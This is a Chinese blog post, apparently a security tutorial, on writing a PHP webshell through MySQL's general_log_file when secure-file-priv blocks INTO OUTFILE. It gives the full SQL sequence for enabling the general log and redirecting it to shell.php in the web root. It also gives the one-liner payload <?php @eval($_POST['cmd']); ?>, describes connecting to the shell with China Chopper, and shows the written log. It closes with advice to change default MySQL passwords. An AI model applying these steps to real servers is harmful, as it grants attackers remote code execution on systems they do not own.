MySQL的配置项中有一个secure-file-priv配置项,当该项的内容设置为null的时候,MySQL时不允许使用into outfile 等导出文件命令的,会提示“#1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement”,但是天无绝人之路,如果拿到了MySQL的root权限和web目录可以使用全局日志的方式(general_log_file)来写WebShell。
0x01 引言
本文的起因有点意思,是同学的测试服务器下面出现了一个文件,阿里云发短信说是木马后门,后来找我看一下,果然是一句话木马,不过文件的内容很杂乱,因为服务器禁用了into outfile等导出文件的命令,但是仍有root的弱口令,不知这个文件是怎么写上去的,因为网站是空的所以一定不是通过上传,初步确定是MySQL写的,因为使用的是phpStudy的测试环境,所以很容易拿到网站目录,后来通过查资料和测试,发现,尽管开启了secure-file-priv=null,但是防不胜防,还有general_log_file方法可用。
0x02 general_log_file介绍
general_log_file是MySQL的一个全局日志方法,开启并设置记录路径以后,所有的MySQL语句都会被保存到日志文件中。
基本命令如下:
1 2 3 |
set global general_log=on; #开启general_log set global general_log=off; #关闭general_log set global general_log_file='G:\\wamp\\www\\shell.php'; #设置日志路径 |
0x03 写WebSHELL
前提条件:
本测试中网站根目录为:G:\wamp\www,下面是测试步骤。
1、开启general_log
1 |
set global general_log=on; |
2、设置general_log_file
1 |
set global general_log_file='G:\\wamp\\www\\shell.php'; |
3、执行查询语句
1 |
select "<?php @eval($_POST['cmd']); ?>" |
4、关闭general_log
1 |
set global general_log=off; |
5、使用菜刀连接一句话木马
到此可以看到,WebShell已经使用中国菜刀成功连接。
0x04 关于写入的WebShell
既然我们已经写入了webshell,不妨打开看一下内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
115 Connect root@localhost on 115 Query SELECT @@version, @@version_comment 115 Query SET CHARACTER SET 'utf8mb4' 115 Query SET collation_connection = 'utf8mb4_unicode_ci' 115 Query SET lc_messages = 'en_US' 116 Connect root@localhost on 116 Query SET CHARACTER SET 'utf8mb4' 116 Query SET collation_connection = 'utf8mb4_unicode_ci' 116 Query SET lc_messages = 'en_US' 115 Query SELECT `SCHEMA_NAME` FROM `INFORMATION_SCHEMA`.`SCHEMATA` 115 Query SHOW SESSION VARIABLES LIKE 'FOREIGN_KEY_CHECKS' 115 Query SHOW SESSION VARIABLES LIKE 'FOREIGN_KEY_CHECKS' 115 Query SHOW SESSION VARIABLES LIKE 'FOREIGN_KEY_CHECKS' 115 Query SHOW SESSION VARIABLES LIKE 'FOREIGN_KEY_CHECKS' 115 Query SHOW SESSION VARIABLES LIKE 'FOREIGN_KEY_CHECKS' 115 Query select "<?php @eval($_POST['cmd']); ?>" 115 Query SELECT @@lower_case_table_names 115 Query SHOW SESSION VARIABLES LIKE 'FOREIGN_KEY_CHECKS' 115 Quit 116 Quit |
内容有点杂乱,但是还是能看到PHP的一句话木马内容,其实这就够了,因为文件的扩展名是php,所以文件中只要包含php的定界符和语句就可以被正常解析,非php内容可以忽略掉。
0x05 结束语
到此,文章已经结束,说点题外话,现在很多网站服务器都是使用了phpStudy来直接搭建服务器,并且不修改MySQL密码,而phpStudy的phpMyadmin可以直接远程打开,虽然phpStudy已经设置了secure-file-priv=null,但是仍然是道高一尺魔高一丈,轻松拿了WebShell,在此也提醒广发开发人员,一定要修改MySQL默认密码!一定要修改MySQL默认密码!一定要修改MySQL默认密码!。
2018年6月20日 00:37 沙发
这个安全隐患挺危险的,一定要禁示它
2018年7月25日 21:30 板凳
的